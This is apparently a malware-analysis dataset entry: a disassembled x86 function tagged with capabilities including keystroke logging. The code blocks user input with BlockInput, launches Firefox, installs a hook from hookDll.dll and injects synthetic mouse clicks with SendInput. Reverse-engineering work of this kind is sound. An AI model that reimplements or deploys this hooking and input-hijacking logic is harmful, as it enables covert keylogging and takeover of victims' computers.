Function at 0x407620
Capabilities:
Check if file exists
Create process on windows
Create thread
Get file attributes
Log keystrokes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442aad
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x78
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x45b944], 0
jne 0x407671
mov eax, 2
jmp 0x407ad7
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 0
call esi
push 0x45b934
lea ecx, [ebp - 0x2c]
mov dword [0x45b8fc], 0
mov dword [0x45b9bc], 0
mov dword [0x45b9c0], 0
call fcn.004094e0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
mov eax, ecx
mov edi, dword [ebp - 0x1c]
sub eax, edi
cmp eax, 0xc
jb 0x4076ee
cmp ecx, 8
lea esi, [ebp - 0x2c]
lea eax, [edi + 0xc]
cmovae esi, dword [ebp - 0x2c]
push 0x18
mov dword [ebp - 0x1c], eax
push str._firefox.exe
lea eax, [esi + edi*2]
push eax
call fcn.00423fe0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0x18], ax
mov esi, dword [sym.imp.USER32.dll_BlockInput]
jmp 0x407706
push 0xc
push str._firefox.exe
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x30]
push 0xc
call fcn.00409de0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407730
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x407730
lea esi, [eax + 1]
jmp 0x407a9f
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x88]
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x88], 0x3c
mov dword [ebp - 0x84], 0x40
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x74], str.about:blank
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 3
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4079fd
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xc8
nop dword [eax + eax]
mov ecx, 1
call fcn.00402790
mov ecx, 1
call fcn.004028d0
push 1
call edi
sub esi, 1
jne 0x4077c0
push 0x12c
call edi
push 0x12c
mov dword [0x45b9bc], 1
call edi
lea ecx, [esi + 1]
call fcn.004028d0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push dword [0x45b8fc]
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
push eax
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor ecx, ecx
call fcn.00402790
cmp dword [0x45b8fc], 0
jne 0x407837
mov esi, 5
jmp 0x407a9f
push str.hookDll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetHook
push eax
mov dword [0x45b964], eax
call esi
mov dword [0x45b9b8], eax
call eax
push 0
push 0
push 7
push dword [0x45b8fc]
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [0x45b964]
test eax, eax
je 0x4078aa
push str.RemoveHook
push eax
call esi
mov dword [0x45b9b8], eax
test eax, eax
je 0x4078aa
call eax
push dword [0x45b964]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x45b9b8], 0
mov dword [0x45b964], 0
push 0x12c
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x40], 0
call esi
mov ecx, eax
mov eax, 0x10000
cdq
idiv ecx
push 1
imul ecx, eax, 0x1f4
mov dword [ebp - 0x48], ecx
call esi
mov ecx, eax
mov esi, dword [sym.imp.USER32.dll_SendInput]
mov eax, 0x10000
mov dword [ebp - 0x3c], 0x8003
cdq
idiv ecx
push 0x1c
imul eax, eax, 0x12c
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x4c]
push eax
push 1
call esi
push 0x32
call edi
push 0x1c
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push eax
push 1
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x3c], 4
call esi
push 0xfa
call edi
push 0
push 0
push 0x402a30
call fcn.00427983
add esp, 0xc
mov dword [0x45b8ec], eax
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 1
call esi
call fcn.004044e0
push 0x9c4
call edi
push 0
mov dword [0x45b9bc], 1
mov dword [0x45b9c0], 1
call esi
push 0x3e8
call edi
xor ecx, ecx
call fcn.00402790
xor ecx, ecx
call fcn.004028d0
mov esi, dword [0x45b8fc]
test esi, esi
je 0x4079ec
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4079d4
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4079ec
push 0
push 0
push 2
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
mov esi, 1
jmp 0x407a9f
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
mov dword [0x45b9bc], 1
mov dword [0x45b9c0], 1
call edi
xor ecx, ecx
call fcn.00402790
mov esi, dword [0x45b8fc]
test esi, esi
je 0x407a66
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407a4e
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407a66
push 0
push 0
push 2
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xb
movups xmmword [ecx], xmm0
push 0x4515c4
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00409b40
call fcn.00401f30
add esp, 0x18
mov esi, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x407ad5
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407acb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407af5
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a3ca
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042731b
int3